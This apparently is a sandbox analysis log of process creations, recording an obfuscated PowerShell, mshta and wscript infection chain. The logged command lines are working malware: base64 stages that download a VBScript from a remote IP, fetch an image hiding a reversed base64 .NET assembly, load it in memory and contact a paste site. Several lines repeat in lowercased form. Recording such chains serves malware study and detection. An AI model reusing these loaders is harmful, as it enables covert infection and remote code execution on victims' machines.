iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5216.tmp" "c:\Users\user\AppData\Local\Temp\sajgx3ks\CSC55704BF691DD479D8D12F35E2CEB2B9C.TMP"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jdzamhdny2dit1g1icagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurelvrzcgugicagicagicagicagicagicagicagicagicagicagicaglu1ftwjfcmrfrmlosvrpb04gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvyte1vti5ebgwilcagicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagig9xaxbuewzfvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagqkdsvvvfc0ksc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagifmsdwludcagicagicagicagicagicagicagicagicagicagicagicbpdfrvehr6cyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicague1sktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjpykyiicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bby2ugicagicagicagicagicagicagicagicagicagicagicagywjms1nzu0feicagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjdzamhdny2dit1g1ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtkyljixmc4xntaumjqvntuvy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftawnyzwftlnrjriisiirltly6qvbqrefuqvxjcmvhbxlraxnzaw5nbglwc2dvb2rmb3jjcmvhbxl0agluz3n3axroy3jlyw0udmjtiiwwldapo1n0yvj0lvnmzwvqkdmpo0ludm9rrs1fwhbsrvntaw9uicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftlnziuyi='+[char]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jdzamhdny2dit1g1icagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurelvrzcgugicagicagicagicagicagicagicagicagicagicagicaglu1ftwjfcmrfrmlosvrpb04gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvyte1vti5ebgwilcagicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagig9xaxbuewzfvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagqkdsvvvfc0ksc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagifmsdwludcagicagicagicagicagicagicagicagicagicagicagicbpdfrvehr6cyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicague1sktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjpykyiicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bby2ugicagicagicagicagicagicagicagicagicagicagicagywjms1nzu0feicagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjdzamhdny2dit1g1ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtkyljixmc4xntaumjqvntuvy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftawnyzwftlnrjriisiirltly6qvbqrefuqvxjcmvhbxlraxnzaw5nbglwc2dvb2rmb3jjcmvhbxl0agluz3n3axroy3jlyw0udmjtiiwwldapo1n0yvj0lvnmzwvqkdmpo0ludm9rrs1fwhbsrvntaw9uicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftlnziuyi='+[char]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $isohemolytic = 'jgnhc2vtyxrlzca9icdodhrwczovl3jlcy5jbg91zgluyxj5lmnvbs9kexrmbhq2mw4vaw1hz2uvdxbsb2fkl3yxnzmzmtm0otq3l2jrbhb5c2v5zxv0ngltchc1mg4xlmpwzyanoyrsywrub3igpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyrozw1pywjszxbzawegpsakumfkbm9ylkrvd25sb2fkrgf0ysgky2fzzw1hdgvkktskymlkzxmgpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkagvtawfibgvwc2lhktska2lkzgllcya9icc8pejbu0u2nf9tvefsvd4+jzskyxzlbnrhawxlid0gjzw8qkftrty0x0vord4+jzskc3rhaw4gpsakymlkzxmusw5kzxhpzigka2lkzgllcyk7jhjlc2h1zmzszsa9icriawrlcy5jbmrlee9mkcrhdmvudgfpbgupoyrzdgfpbiatz2ugmcatyw5kicryzxnodwzmbguglwd0icrzdgfpbjskc3rhaw4gkz0gjgtpzgrpzxmutgvuz3rooyrzdwjhy3v0zwx5id0gjhjlc2h1zmzszsaticrzdgfpbjskyxj0ahjhbgdpysa9icriawrlcy5tdwjzdhjpbmcojhn0ywlulcakc3viywn1dgvsesk7jhvuywrzb3jizwqgpsatam9pbiaojgfydghyywxnaweuvg9dagfyqxjyyxkoksb8iezvckvhy2gtt2jqzwn0ihsgjf8gfslblteuli0ojgfydghyywxnaweutgvuz3rokv07jg1pbnrsawtlid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkdw5hzhnvcmjlzck7jg1pbgxpbmvyid0gw1n5c3rlbs5szwzszwn0aw9ulkfzc2vtymx5xto6tg9hzcgkbwludgxpa2upoyrwcm9kawdhbca9iftkbmxpyi5jty5ib21lxs5hzxrnzxrob2qoj1zbsscpoyrwcm9kawdhbc5jbnzva2uojg51bgwsieaojzavqxpmog8vci9lzs5ldhnhcc8vonnwdhrojywgjyrozxrlcm9icmfuy2hpyscsicckagv0zxjvynjhbmnoawenlcanjghldgvyb2jyyw5jaglhjywgj0nhc1bvbccsicckagv0zxjvynjhbmnoawenlcanjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnmscsjyrozxrlcm9icmfuy2hpyscpkts=';$choleate = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($isohemolytic));invoke-expression $choleate
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jdzamhdny2dit1g1icagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurelvrzcgugicagicagicagicagicagicagicagicagicagicagicaglu1ftwjfcmrfrmlosvrpb04gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvyte1vti5ebgwilcagicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagig9xaxbuewzfvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagqkdsvvvfc0ksc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagifmsdwludcagicagicagicagicagicagicagicagicagicagicagicbpdfrvehr6cyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicague1sktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjpykyiicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bby2ugicagicagicagicagicagicagicagicagicagicagicagywjms1nzu0feicagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjdzamhdny2dit1g1ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtkyljixmc4xntaumjqvntuvy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftawnyzwftlnrjriisiirltly6qvbqrefuqvxjcmvhbxlraxnzaw5nbglwc2dvb2rmb3jjcmvhbxl0agluz3n3axroy3jlyw0udmjtiiwwldapo1n0yvj0lvnmzwvqkdmpo0ludm9rrs1fwhbsrvntaw9uicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftlnziuyi='+[char]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jdzamhdny2dit1g1icagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurelvrzcgugicagicagicagicagicagicagicagicagicagicagicaglu1ftwjfcmrfrmlosvrpb04gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvyte1vti5ebgwilcagicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagig9xaxbuewzfvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagqkdsvvvfc0ksc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagifmsdwludcagicagicagicagicagicagicagicagicagicagicagicbpdfrvehr6cyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicague1sktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjpykyiicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bby2ugicagicagicagicagicagicagicagicagicagicagicagywjms1nzu0feicagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjdzamhdny2dit1g1ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtkyljixmc4xntaumjqvntuvy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftawnyzwftlnrjriisiirltly6qvbqrefuqvxjcmvhbxlraxnzaw5nbglwc2dvb2rmb3jjcmvhbxl0agluz3n3axroy3jlyw0udmjtiiwwldapo1n0yvj0lvnmzwvqkdmpo0ludm9rrs1fwhbsrvntaw9uicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftlnziuyi='+[char]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $isohemolytic = 'jgnhc2vtyxrlzca9icdodhrwczovl3jlcy5jbg91zgluyxj5lmnvbs9kexrmbhq2mw4vaw1hz2uvdxbsb2fkl3yxnzmzmtm0otq3l2jrbhb5c2v5zxv0ngltchc1mg4xlmpwzyanoyrsywrub3igpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyrozw1pywjszxbzawegpsakumfkbm9ylkrvd25sb2fkrgf0ysgky2fzzw1hdgvkktskymlkzxmgpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkagvtawfibgvwc2lhktska2lkzgllcya9icc8pejbu0u2nf9tvefsvd4+jzskyxzlbnrhawxlid0gjzw8qkftrty0x0vord4+jzskc3rhaw4gpsakymlkzxmusw5kzxhpzigka2lkzgllcyk7jhjlc2h1zmzszsa9icriawrlcy5jbmrlee9mkcrhdmvudgfpbgupoyrzdgfpbiatz2ugmcatyw5kicryzxnodwzmbguglwd0icrzdgfpbjskc3rhaw4gkz0gjgtpzgrpzxmutgvuz3rooyrzdwjhy3v0zwx5id0gjhjlc2h1zmzszsaticrzdgfpbjskyxj0ahjhbgdpysa9icriawrlcy5tdwjzdhjpbmcojhn0ywlulcakc3viywn1dgvsesk7jhvuywrzb3jizwqgpsatam9pbiaojgfydghyywxnaweuvg9dagfyqxjyyxkoksb8iezvckvhy2gtt2jqzwn0ihsgjf8gfslblteuli0ojgfydghyywxnaweutgvuz3rokv07jg1pbnrsawtlid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkdw5hzhnvcmjlzck7jg1pbgxpbmvyid0gw1n5c3rlbs5szwzszwn0aw9ulkfzc2vtymx5xto6tg9hzcgkbwludgxpa2upoyrwcm9kawdhbca9iftkbmxpyi5jty5ib21lxs5hzxrnzxrob2qoj1zbsscpoyrwcm9kawdhbc5jbnzva2uojg51bgwsieaojzavqxpmog8vci9lzs5ldhnhcc8vonnwdhrojywgjyrozxrlcm9icmfuy2hpyscsicckagv0zxjvynjhbmnoawenlcanjghldgvyb2jyyw5jaglhjywgj0nhc1bvbccsicckagv0zxjvynjhbmnoawenlcanjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnmscsjyrozxrlcm9icmfuy2hpyscpkts=';$choleate = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($isohemolytic));invoke-expression $choleate
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jdzamhdny2dit1g1icagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurelvrzcgugicagicagicagicagicagicagicagicagicagicagicaglu1ftwjfcmrfrmlosvrpb04gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvyte1vti5ebgwilcagicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagig9xaxbuewzfvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagqkdsvvvfc0ksc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagifmsdwludcagicagicagicagicagicagicagicagicagicagicagicbpdfrvehr6cyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicague1sktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjpykyiicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bby2ugicagicagicagicagicagicagicagicagicagicagicagywjms1nzu0feicagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjdzamhdny2dit1g1ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtkyljixmc4xntaumjqvntuvy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftawnyzwftlnrjriisiirltly6qvbqrefuqvxjcmvhbxlraxnzaw5nbglwc2dvb2rmb3jjcmvhbxl0agluz3n3axroy3jlyw0udmjtiiwwldapo1n0yvj0lvnmzwvqkdmpo0ludm9rrs1fwhbsrvntaw9uicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftlnziuyi='+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jdzamhdny2dit1g1icagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurelvrzcgugicagicagicagicagicagicagicagicagicagicagicaglu1ftwjfcmrfrmlosvrpb04gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvyte1vti5ebgwilcagicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagig9xaxbuewzfvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagqkdsvvvfc0ksc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagifmsdwludcagicagicagicagicagicagicagicagicagicagicagicbpdfrvehr6cyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicague1sktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjpykyiicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bby2ugicagicagicagicagicagicagicagicagicagicagicagywjms1nzu0feicagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjdzamhdny2dit1g1ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtkyljixmc4xntaumjqvntuvy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftawnyzwftlnrjriisiirltly6qvbqrefuqvxjcmvhbxlraxnzaw5nbglwc2dvb2rmb3jjcmvhbxl0agluz3n3axroy3jlyw0udmjtiiwwldapo1n0yvj0lvnmzwvqkdmpo0ludm9rrs1fwhbsrvntaw9uicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftlnziuyi='+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $isohemolytic = 'jgnhc2vtyxrlzca9icdodhrwczovl3jlcy5jbg91zgluyxj5lmnvbs9kexrmbhq2mw4vaw1hz2uvdxbsb2fkl3yxnzmzmtm0otq3l2jrbhb5c2v5zxv0ngltchc1mg4xlmpwzyanoyrsywrub3igpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyrozw1pywjszxbzawegpsakumfkbm9ylkrvd25sb2fkrgf0ysgky2fzzw1hdgvkktskymlkzxmgpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkagvtawfibgvwc2lhktska2lkzgllcya9icc8pejbu0u2nf9tvefsvd4+jzskyxzlbnrhawxlid0gjzw8qkftrty0x0vord4+jzskc3rhaw4gpsakymlkzxmusw5kzxhpzigka2lkzgllcyk7jhjlc2h1zmzszsa9icriawrlcy5jbmrlee9mkcrhdmvudgfpbgupoyrzdgfpbiatz2ugmcatyw5kicryzxnodwzmbguglwd0icrzdgfpbjskc3rhaw4gkz0gjgtpzgrpzxmutgvuz3rooyrzdwjhy3v0zwx5id0gjhjlc2h1zmzszsaticrzdgfpbjskyxj0ahjhbgdpysa9icriawrlcy5tdwjzdhjpbmcojhn0ywlulcakc3viywn1dgvsesk7jhvuywrzb3jizwqgpsatam9pbiaojgfydghyywxnaweuvg9dagfyqxjyyxkoksb8iezvckvhy2gtt2jqzwn0ihsgjf8gfslblteuli0ojgfydghyywxnaweutgvuz3rokv07jg1pbnrsawtlid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkdw5hzhnvcmjlzck7jg1pbgxpbmvyid0gw1n5c3rlbs5szwzszwn0aw9ulkfzc2vtymx5xto6tg9hzcgkbwludgxpa2upoyrwcm9kawdhbca9iftkbmxpyi5jty5ib21lxs5hzxrnzxrob2qoj1zbsscpoyrwcm9kawdhbc5jbnzva2uojg51bgwsieaojzavqxpmog8vci9lzs5ldhnhcc8vonnwdhrojywgjyrozxrlcm9icmfuy2hpyscsicckagv0zxjvynjhbmnoawenlcanjghldgvyb2jyyw5jaglhjywgj0nhc1bvbccsicckagv0zxjvynjhbmnoawenlcanjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnmscsjyrozxrlcm9icmfuy2hpyscpkts=';$choleate = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($isohemolytic));invoke-expression $choleate	Jump to behavior
